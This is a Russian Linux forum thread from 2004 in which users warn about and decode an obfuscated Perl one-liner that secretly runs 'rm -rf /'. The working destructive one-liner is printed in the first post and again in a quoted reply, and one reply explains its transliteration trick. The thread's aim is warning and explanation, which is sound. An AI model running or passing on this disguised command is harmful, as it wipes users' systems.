Модератор: Модераторы разделов
-
flook
- Сообщения: 585
- Статус: Просто flook
Сообщение
flook »
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
это разворачивается в 'rm -rf /'
Так что не пускайте
Вопрос такой - перл я знаю плохо, а узнать каким образом эта последовательность скобочек разбирается в rm хочется
Перологуруы, подскажите

В каждом из нас спит гений... и с каждым днем все крепче...
-
Soloven
- Сообщения: 63
Сообщение
Soloven »
Я бы сказал инече..... НЕ РАБОТАЙТЕ ПОД ROOT :dont:
The /dev/null где то рядом ©
Использовать компьютер только для игр все равно, что Использовать Ламборгини для перевозки картошки ©
-
Mitya-ncc
- Сообщения: 268
- Статус: Живущий тут
Сообщение
Mitya-ncc »
Найдётся у нас тут "just another perl hacker" какой-нибудь?
Я вот не понимаю как это работает...

В одном мгновеньи – видеть вечность,
Огромный мир в горсти песка,
В одной песчинке – бесконечность,
И небо в чашечке цветка.
-
flook
- Сообщения: 585
- Статус: Просто flook
Сообщение
flook »
В каждом из нас спит гений... и с каждым днем все крепче...
-
madskull
- Сообщения: 1019
- Статус: Экс-металлюга
Сообщение
madskull »
я тоже не понимаю. мало еще опыта. Вот в отпуске, если дадут, поковыряю
ArchLinux / IceWM
-
Mitya-ncc
- Сообщения: 268
- Статус: Живущий тут
Сообщение
Mitya-ncc »
На первый взгляд: "по моей клавиатуре ходила кошка" (с) не моё
и на второй тоже.

В одном мгновеньи – видеть вечность,
Огромный мир в горсти песка,
В одной песчинке – бесконечность,
И небо в чашечке цветка.
-
madskull
- Сообщения: 1019
- Статус: Экс-металлюга
Сообщение
madskull »
(Mitya-ncc @ Thursday, 29 July 2004, 2:31) писал(а):На первый взгляд: "по моей клавиатуре ходила кошка" (с) не моё
и на второй тоже.
А если присмотреться в третий раз, то начинаешь разбираться и понимать... что ходила собака!
ArchLinux / IceWM
-
Drew
- Сообщения: 2
Сообщение
Drew »
(flook @ Monday, 26 July 2004, 17:31) писал(а):cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Для зрительного восприятия:
мусор
реально выполняется вторая часть, которая работает так:
Затем мы меняем $_ следующим куском в system"rm -rf /"
И следующим куском его исполняем
Т.е. сухой остаток от того кода (без выполнения, конечно):
Код: Выделить всё
perl -e ' $_= "=]=>%-{<-|}<&|`{"; y/ -\/:-@[-`{-}/`-{\/" -/; print;'